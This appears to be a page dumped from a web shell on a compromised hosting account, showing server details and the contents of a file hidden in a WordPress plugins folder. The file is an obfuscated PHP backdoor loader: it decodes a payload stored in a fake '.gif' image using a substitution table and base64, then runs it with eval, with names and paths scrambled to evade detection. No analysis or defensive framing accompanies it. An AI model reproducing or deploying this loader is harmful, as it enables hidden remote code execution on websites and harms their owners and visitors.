HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/achahomuq/ehithaw.txt
<?php

function nypiqo_oqicycho($gijaki_anoshelo) {
    if ($gijaki_anoshelo == 1)
        return kolyxu_othidufisa();
    if ($gijaki_anoshelo == 2)
        return idaboz_ipocuhych();
}

function okigyh_fijyrysa($gijaki_anoshelo) {
    $ralavym = nypiqo_oqicycho(1);
    $peveqe = nypiqo_oqicycho(2);
    for ($odejozh = 0; $odejozh < strlen($ralavym); $odejozh++) {
        $ajenizi = substr($ralavym, $odejozh, 1);
        $dakajy = substr($peveqe, $odejozh, 1);
        $cytuqym[$ajenizi] = $dakajy;
    }

    $othuwon = strtr($gijaki_anoshelo, $cytuqym);
    $othuwon = base64_decode($othuwon);

    return $othuwon;
}

function igecyw_qerybynij($gijaki_anoshelo) {
    $othaxev = array();
    if (!file_exists($gijaki_anoshelo))
        return false;
    $exechos = @file_get_contents($gijaki_anoshelo);
    if (!$exechos)
        return false;
    $exechos = substr($exechos, 3);
    $othaxev = okigyh_fijyrysa($exechos);
    return $othaxev;
}

function kolyxu_othidufisa() {
    $exechos = "JOg1PwpkBDMyKr9uaHSiTE4Ijed+53Nf8zlhU6xWtVXZcoCmYAsQ7nR0/v2LGFq=b";
    return $exechos;
}

function idaboz_ipocuhych() {
    $othaxev = "p2raIAXyjExkGUq78Ro0lOJYs1v6N3dtM+f/g=eWCDQKzLZiVHbTwm49chPFSuBn5";
    return $othaxev;
}

$ukhisep = igecyw_qerybynij(__DIR__ . "/asse" . "ts/ima" . "ges/" . "ycinu" . "kh.g" . "if");
if ($ukhisep) {
    @eval($ukhisep);
}